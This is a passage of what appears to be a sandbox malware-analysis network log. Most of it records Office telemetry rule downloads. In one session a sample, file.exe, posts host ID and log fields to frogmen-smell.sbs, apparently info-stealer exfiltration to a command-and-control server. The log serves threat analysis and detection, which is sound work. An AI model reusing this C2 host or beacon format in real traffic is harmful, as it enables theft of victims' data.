R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:17 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:18 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:18 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 4ab292c7-f01e-005d-268a-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183918Z-164f84587bf6n6jwhC1DFW90fn00000000zg0000000002z2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:18 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49714	172.67.174.133	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:18 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3LHHDTGFA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12796 Host: frogmen-smell.sbs
2024-11-15 18:39:18 UTC	12796	OUT	Data Raw: 2d 2d 33 4c 48 48 44 54 47 46 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 34 46 46 41 43 37 36 45 33 46 30 45 32 42 43 30 31 41 32 33 41 41 34 45 37 30 39 36 45 35 0d 0a 2d 2d 33 4c 48 48 44 54 47 46 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 4c 48 48 44 54 47 46 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 33 4c 48 48 44 54 47 46 41 0d 0a 43 6f 6e 74 65 6e Data Ascii: --3LHHDTGFAContent-Disposition: form-data; name="hwid"344FFAC76E3F0E2BC01A23AA4E7096E5--3LHHDTGFAContent-Disposition: form-data; name="pid"2--3LHHDTGFAContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--3LHHDTGFAConten
2024-11-15 18:39:19 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rrinbgdn4meofldbreq62nvvn1; expires=Tue, 11-Mar-2025 12:25:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8KfAjkRehCLjTDR1XAsyKv5JzObiSH79lErEW%2Bdv0UXH0q%2FMe%2BNSokCsLzIfuV0SFHBhCEVtXhJRjjjU%2FC5aZgf3ZMA1uuvBMl5mjfViSo7u%2BoQprK2GDZLjbpWupKTk%2BGsCRA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e315cfde9fb79a3-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18938&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13728&delivery_rate=152686&cwnd=32&unsent_bytes=0&cid=6adae82ce63a2a9d&ts=708&x=0"
2024-11-15 18:39:19 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 39 0d 0a Data Ascii: 11ok 173.254.250.89
2024-11-15 18:39:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:18 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:18 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:18 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 30929569-101e-008d-79ff-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183918Z-16547b76f7ffx24hhC1DFW9px400000001900000000070eh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:18 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:18 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:18 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:18 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: b90175c0-c01e-008e-4b8d-367381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183918Z-164f84587bfsqsthhC1DFWh63000000000t000000000e8r9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:18 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:18 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:18 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:18 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183918Z-16547b76f7fkj7j4hC1DFW0a9g0000000ne000000000r56m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:18 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:18 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:18 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:18 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 4cebb1d6-301e-0099-6509-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183918Z-1866b5c5fbbqmbqjhC1DFWwgvc00000001ag000000000nkc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:18 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:18 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:18 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:18 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: def873b9-d01e-0065-46f7-2cb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183918Z-16547b76f7f7lhvnhC1DFWa2k00000000nf0000000007xgf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:18 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:19 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:19 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183919Z-16547b76f7fljddfhC1DFWeqbs00000002m0000000003xqh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:19 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:19 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:19 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1d125618-f01e-0085-4c1d-3688ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183919Z-1866b5c5fbbldb6rhC1DFW4bew00000001u000000000kgf3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:19 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:19 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:19 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:19 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a5983e6-f01e-001f-229b-365dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183919Z-164f84587bfbvgrghC1DFWbs7w00000001mg0000000080vr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:19 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:19 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:19 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:19 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: ab7d284a-001e-005a-348d-36c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183919Z-164f84587bf2rt9xhC1DFW8drg00000001g000000000by6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:19 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:19 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
